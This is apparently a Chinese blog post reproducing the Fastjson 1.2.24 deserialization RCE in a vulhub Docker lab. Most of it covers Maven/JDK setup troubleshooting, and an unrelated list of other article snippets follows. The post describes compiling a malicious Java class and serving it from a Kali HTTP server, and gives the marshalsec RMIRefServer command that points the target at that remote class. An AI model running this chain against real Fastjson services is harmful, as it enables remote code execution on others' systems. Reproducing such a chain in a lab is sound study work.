Fastjson反序列化漏洞部署复现1.2.24版本反序列RCE笔记

环境部署

docker容器地址:https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce

启动docker环境 docker容器每次一启动就报错 根据docker log [容器id] 查看报错日志发现有如下报错

library initialization failed - unable to allocate file descriptor table - out of memory

考虑是内存不够 如下方式修改 docker 报错 library initialization failed - unable to allocate file descriptor table - out of memory-CSDN博客

我们在win10虚拟机裸机中安装java8-jdk8+maven3.9.6+marshalsec工具用于启动rmi服务器

maven环境变量总是创建不成功 就去相应目录bin下cmd用mvn即可

mvn环境变量创建无效问题

解决办法:直接将绝对路径写到系统变量的path中 移动到最上面 记得系统调一下分辨率 环境变量那里有个确定要点 分辨率大了看不到 没点自然没保存

接下来进入工具marshalsec目录下执行mvn命令

mvn clean package -DskipTests

又出现报错 No compiler xxxx

mvn clean报错

先记得把jdk下的bin目录加入到环境变量 因为里面有javac

继续解决刚才红色的报错

最终解决参考:解决Maven错误No compiler is provided in this environment. Perhaps you are running on a JRE rather than a JDK? - 简书

总结:所有的java的jdk jre也好 全都直接在path中设置绝对路径

maven jre jdk都是设置到bin目录

但是mvn clean package -DskipTests执行需要一个环境变量JAVA_HOME,且对应的地址是jdk文件夹,不带bin

处理完这两步 也就解决了bug

在target文件夹

接下来我们创建恶意的java类

通过代码javac hacker.java

在kali中通过python启动http服务器 将恶意类放到192.168.206.162的4444端口上

最终通过刚才的工具 启动一个rmi服务器 加载刚才设置的恶意类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.206.162:4444/#hacker" 9999

开始监听9999端口的内容 至此我们就开启了一个rmi服务器

kali中docker启动vulhub的fastjson1.2.24漏洞靶场环境 192.168.206.162 ip地址

通过bp抓包 修改内容 使用1.2.24的payload 我们的win10虚拟机是192.168.206.161

会先通过rmi请求到win10的rmi服务器

之后rmi服务器从kali的4444端口去取恶意类 返回给rmi服务器 rmi服务器再返回给8090的fastjson执行

至此整个完整的利用链也就复现完毕了

Yakit设置的恶意类没办法成功执行命令

设置ip地址为可以访问到的 通过http进行访问测试

恶意类反连成功 但是执行不成功 

原因如下:

由于我们是在本机中使用工具Yakit进行恶意类的生成并且生成jndi的服务器。但是我们是在kali的环境中,且是在docker环境下部署了fastjson的漏洞环境。所以这本身属于不出网的情况,因为没有相应的端口映射,可能是由于本机的安全问题导致的。所以会出现Yakit有显示jndi服务的连接,但是并不会成功执行shell的情况。所以一旦我们在另一台没有开启安全措施的windows机器中开启服务,不论是手动搭建jndi加载恶意类,还是启动Yakit工具,都可以成功利用。

参考地址

漏洞相关原理学习参考:Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_fastjson漏洞原理-CSDN博客

SQL注入关于DNSlog的内容参考:SQL注入之DNSLog外带注入-CSDN博客

不同java JDK版本下载地址

Java Archive | Oracle

java8的安装

JDK 8的下载、安装、配置【保姆级教程】_jdk8-CSDN博客

参考核心网址:

fastjson_1.2.24和Shiro(CVE-2016-4437)漏洞复现_shiro远程命令执行-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/59897.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PostgreSQL pg-xact(clog)目录文件缺失处理

一、 背景 前些天晚上突然收到业务反馈,查询DB中的一个表报错 Could not open file "pg-xact/005E": No such file or directory. 两眼一黑难道是文件损坏了...登录查看DB日志,还好没有其他报错,业务也反馈只有这一个表在从库查询报…

【Python】项目结构

【Python】项目结构 前言前置知识Python 的基本项目结构int main() 与 def main() 的区别举例:基于 KNN 的 OpenCV 数字识别的项目结构 前言 本文总结了 Python 项目结构的知识,规范项目结构能使得项目开发过程高效流畅,提升代码可读性、团队…

arcgis pro 学习笔记

二维三维集合在一起,与arcgis不同 一、首次使用,几个基本设置 1.选项——常规里面设置自动保存时间 2.新建工程文件,会自动加载地图,可以在选项里面设置为无,以提高启动效率。 3.设置缓存位置,可勾选每次…

OpenCV视觉分析之目标跟踪(11)计算两个图像之间的最佳变换矩阵函数findTransformECC的使用

操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 根据 ECC 标准 78找到两幅图像之间的几何变换(warp)。 该函数根据 ECC 标准 ([78]) 估计最优变换(warpMatri…

.vue文件中定义变量和在引用的.ts文件中定义变量的区别

在 Vue 3 项目中&#xff0c;你可以在 .vue 文件和单独的 .ts 文件中定义变量。这两种方式有一些关键的区别&#xff1a; 在 .vue 文件中定义变量 局部作用域&#xff1a; 在 .vue 文件的 <script setup> 或 <script> 标签中定义的变量&#xff0c;它们的作用域仅限…

开源项目工具:LeanTween - 为Unity 3D打造的高效缓动引擎详解(比较麻烦的API版)之二———补间动画控制API系列

1.文档中的cancel,resume,pause LeanTween.cancel ( gameObject:GameObject id:int )LeanTween.cancel ( ltRect:LTRect id:int )LeanTween.cancel ( gameObject:GameObject )LeanTween.pause ( gameObject:GameObject )LeanTween.resume ( id:int )LeanTween.resume ( game…

Redis 典型应用 - 缓存(cache)

一、什么是缓存 缓存(cache)是计算机中的⼀个经典的概念.在很多场景中都会涉及到. 核⼼思路就是把⼀些常⽤的数据放到触⼿可及(访问速度更快)的地⽅,⽅便随时读取. 这⾥所说的"触⼿可及"是个相对的概念. 对于硬件的访问速度来说,通常情况下: CPU寄存器>内存>…

第十六章 TCP 客户端 服务器通信

文章目录 第十六章 TCP 客户端/服务器通信TCP 客户端/服务器通信TCP 连接概述TCP 设备的 OPEN 命令 第十六章 TCP 客户端/服务器通信 TCP 客户端/服务器通信 本章介绍如何使用 TCP/IP 在 IRIS 数据平台进程之间设置远程通信。 IRIS 支持两种互联网协议 (IP)&#xff1a;TCP …

【数学二】线性代数-矩阵-初等变换、初等矩阵

考试要求 1、理解矩阵的概念,了解单位矩阵、数量矩阵、对角矩阵、三角矩阵、对称矩阵、反对称矩阵和正交矩阵以及它们的性质. 2、掌握矩阵的线性运算、乘法、转置以及它们的运算规律,了解方阵的幂与方阵乘积的行列式的性质. 3、理解逆矩阵的概念,掌握逆矩阵的性质以及矩阵可…

DevCheck Pro手机硬件检测工具v5.33

前言 DevCheck Pro是一款手机硬件和操作系统信息检测查看工具&#xff0c;该软件的功能非常强大&#xff0c;为用户提供了系统、硬件、应用程序、相机、网络、电池等一系列信息查看功能 安装环境 [名称]&#xff1a;DevCheckPro [版本]&#xff1a;5.33 [大小]&a…

教程:FFmpeg结合GPU实现720p至4K视频转换

将一个 720p 的视频放大编码到 4K&#xff0c;这样的视频处理在很多业务场景中都会用到。很多视频社交、短视频、视频点播等应用&#xff0c;都会需要通过服务器来处理大量的视频编辑需求。 本文我们会探讨一下做这样的视频处理&#xff0c;最低的 GPU 指标应该是多少。利用开源…

鸿蒙进阶篇-网格布局 Grid/GridItem(二)

hello大家好&#xff0c;这里是鸿蒙开天组&#xff0c;今天让我们来继续学习鸿蒙进阶篇-网格布局 Grid/GridItem&#xff0c;上一篇博文我们已经学习了固定行列、合并行列和设置滚动&#xff0c;这一篇我们将继续学习Grid的用法&#xff0c;实现翻页滚动、自定义滚动条样式&…

React教程(详细版)

React教程&#xff08;详细版&#xff09; 1&#xff0c;简介 1.1 概念 react是一个渲染html界面的一个js库&#xff0c;类似于vue&#xff0c;但是更加灵活&#xff0c;写法也比较像原生js&#xff0c;之前我们写出一个完成的是分为html&#xff0c;js&#xff0c;css&…

自然语言处理在客户服务中的应用

&#x1f493; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4dd; Gitee主页&#xff1a;瑕疵的gitee主页 ⏩ 文章专栏&#xff1a;《热点资讯》 自然语言处理在客户服务中的应用 自然语言处理在客户服务中的应用 自然语言处理在客户服务中的应用 引言 自然语言处理概述 定义…

2节串联锂电池充电管理芯片,有5V升压,9-12V降压,快充升降压

从上面第一句话我们知道了2节串联锂电池的供电电压范围是&#xff1a;6V-8.4V&#xff0c;锂电池充电管理是随着电池电压提高而增加充电电压&#xff0c;直到充满电压8.4V。如2节串联锂电池电压是6V时&#xff0c;充电管理芯片会控制充电电压如7V&#xff0c; 2节串联锂电池的电…

服务器数据恢复—EVA存储故障导致上层应用不可用的数据恢复案例

服务器存储数据恢复环境&#xff1a; 一台EVA某型号控制器EVA扩展柜FC磁盘。 服务器存储故障&检测&#xff1a; 磁盘故障导致该EVA存储中LUN不可用&#xff0c;导致上层应用无法正常使用。 服务器存储数据恢复过程&#xff1a; 1、将所有磁盘做好标记后从扩展柜中取出。硬…

加入GitHub Spark需要申请

目录 加入GitHub Spark需要申请 GitHub Spark 一、产品定位与特点 二、核心组件与功能 三、支持的AI模型 四、应用场景与示例 五、未来展望 六、申请体验 加入GitHub Spark需要申请 GitHub Spark 是微软旗下GitHub在2024年10月30日的GitHub Universe大会上推出的一款革…

Qt中 QWidget 和 QMainWindow 区别

QWidget 用来构建简单窗口 QMainWindow 用来构建更复杂的窗口&#xff0c;QMainWindow 继承自QWidget&#xff0c;在QWidget 的基础上提供了菜单栏、工具栏、状态栏等功能 菜单栏&#xff08;QMenuBar&#xff09;工具栏&#xff08;QToolBar&#xff09;状态栏&#xff08;Q…

【MIT-OS6.S081笔记1】Chapter1阅读摘要:Operating system interfaces

记录阅读《xv6: a simple, Unix-like teaching operating system》的一些摘要&#xff0c;这是第一章的内容&#xff1a;Operating system interfaces。 fork函数作用&#xff1a;fork创建一个新进程&#xff0c;称为子进程&#xff0c;其内存内容与调用进程&#xff08;称为父…

学习python的第七天之数据类型——str字符串

学习python的第七天之数据类型——str字符串 Python 中的字符串&#xff08;String&#xff09;是最常用的数据类型之一&#xff0c;用于存储和表示文本信息。Python 中的字符串是不可变的&#xff0c;这意味着一旦创建了一个字符串&#xff0c;就不能修改它&#xff08;但可以…